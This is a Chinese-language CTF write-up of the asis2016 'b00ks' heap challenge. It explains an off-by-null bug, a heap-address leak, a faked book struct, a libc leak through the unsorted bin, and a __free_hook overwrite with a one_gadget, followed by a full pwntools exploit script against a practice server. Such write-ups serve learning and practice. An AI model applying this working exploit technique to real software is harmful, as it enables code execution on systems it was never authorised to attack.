asis2016_b00ks
查看保护
这个看上去很正常,跟进一下read_input
可以看到一个off-by-null漏洞。
这里的作者的名字和heap_ptr贴在了一起
攻击思路:一个off-by-null,看一下可不可以从author_addr这里入手
因为heap_ptr和author_addr贴在了一起,而read_input有一个off-by-null,可以通过change_author_name来使得heap_ptr低一字节被改在\x00。这里还有一个知识点,一开始输入0x20个数据之后\x00被到2060这里,后面再创建堆的时候printf默认会输出2060这个地址
所以可以通过这个漏洞先拿到book1的地址。
拿到book1的地址之后接下来就是需要libc进行getshell。change_author_name的时候会将130改为100,所以我们可以合理的进行堆布局使得100是一个可以被控制的堆块,接着在100这里伪造一个book1,再将book1的name的地址给改成book2的description。 (为什么这样子?泄露libc我们可以通过unstortedbin来,需要创建一个0x91大小的堆块,接着释放这里,在100这时伪造的name地址可以指向book2的desription
可以看到伪造的book1已经有了unstortedbin了,show出libc即可。
因为在伪造book1的时候也将descpriton也顺带改了,伪造的book1的description指向的是book3的descrption。将1的desc改成free_hook,此时3的desc为free_hook,再将3的desc改成one_gadget。也就是free_hook变成 了one_gadget。getshell即可。
想要看更具体的可以看看z1r0’s blog
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26915)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(name_size,name,content_size,content):
r.sendlineafter('> ','1')
r.sendlineafter('size: ',str(name_size))
r.sendlineafter('chars): ',name)
r.sendlineafter('size: ',str(content_size))
r.sendlineafter('tion: ',content)
def delete(index):
r.sendlineafter('> ','2')
r.sendlineafter('delete: ',str(index))
def edit(index,content):
r.sendlineafter('> ','3')
r.sendlineafter('edit: ',str(index))
r.sendlineafter('ption: ',content)
def show():
r.sendlineafter('> ','4')
def change(author_name):
r.sendlineafter('> ','5')
r.sendlineafter('name: ',author_name)
r.sendlineafter('name: ', 'a' * 0x1f + 'b')
add(0xd0, 'aaaa', 0x20, 'bbbb') #1
show()
r.recvuntil('aaaaab')
book1_addr = u64(r.recv(6).ljust(8,b'\x00'))
success('book1_addr = ' + hex(book1_addr))
add(0x80, 'aaaa', 0x50, 'bbbb') #2
add(0x10, 'aaa', 0x20, 'cccc')
delete(2)
p1 = p64(1) + p64(book1_addr + 0x30) + p64(book1_addr + 0x30 + 0x90 + 0xe0 + 0x10) + p64(0x20)
edit(1, p1)
change('a' * 0x20)
show()
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
success('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
free_hook = libc_base + libc.sym['__free_hook']
p2 = p64(free_hook) + p64(0x8)
edit(1, p2)
edit(3, p64(one_gadget))
delete(1)
r.interactive()